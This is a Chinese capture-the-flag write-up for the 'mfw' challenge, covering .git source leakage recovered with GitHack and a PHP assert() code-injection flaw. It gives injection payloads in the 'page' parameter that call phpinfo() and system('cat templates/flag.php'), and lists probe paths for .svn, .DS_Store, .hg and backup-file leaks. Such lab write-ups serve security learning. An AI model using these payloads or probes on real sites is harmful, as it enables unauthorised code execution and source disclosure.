攻防世界 mfw git泄露

  1. 攻防世界 mfw git泄露

攻防世界 mfw git泄露

由于昨天才学了git,找一道题来练练手

image-20220102092755185

点进去在about页面发现git关键词,访问.git目录

image-20220102092836849

存在泄露

用githack把源码下载下来

下载下来后发现一个flag.php

image-20220102093430458

image-20220102093531927

再看看其他的php

在index.php中有这样一段php

image-20220102093735231

asserter()函数可以吧字符串当成php执行,这page又没有过滤,然后就想到用system来读取flag

先试一下吧strpos给注释掉

?page=%27).phpinfo();//

image-20220102100454145

芜湖!

最后用

?page=').system(cat templates/flag.php);//

image-20220102100753784

要打开源码才看得见

image-20220102102441825

然后又看到了另一种方法

payload:?page=abc') or system("cat templates/flag.php");//

$file =templates/ abc’) or system(“cat templates/flag.php”);// “.php”
因为在strpos中只传入了abc,所以其肯定返回false,在利用or让其执行system函数,再用” // “将后面的语句注释掉

PHP代码执行漏洞 - 笑花大王 - 博客园 (cnblogs.com)

其他泄露:
.svn源码泄露:当可以访问到/.svn/entries的时候,就证明存在。
DS_Store 文件泄露:当访问/.ds_store可以访问的到,就证明存在。
.hg 源码泄露:当访问/.hg存在的时候,就证明存在该漏洞。
常见编辑器备份文件泄露:
http://[ip]/.test.php.swp
http://[ip]/test.php.bak
http://[ip]/test.jsp.old
http://[ip]/cgi~
http://[ip]/index.php~

or用法补充

经常看到这样的语句:
file=fopen(file=fopen(filename, ‘r’) or die(“抱歉,无法打开: filename”);or在这里是这样理解的,因为在PHP中并不区分数据类型,所以filename”);or在这里是这样理解的,因为在PHP中并不区分数据类型,所以file既可以是int也可以bool,所以这样的语句不会报错。但其处理过程可能有些朋友不大明白。
其实在大多数的语言中, bool or bool这样的语句中,如果前一个值为真后一个值就不会再判断了。这里也是的,所以如果fopen函数执行正确的话,会返回一个大于0的int值(这其实就是“真”),后面的语句就不会执行了。如果fopen函数执行失败,就会返回false,那么就会判断后面的表达式是否为真了。
结果执行了die()之后,不管返回什么,程序都已经停止执行了,并且显示指定的出错信息,也就达到了调试的目的。
就这样。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。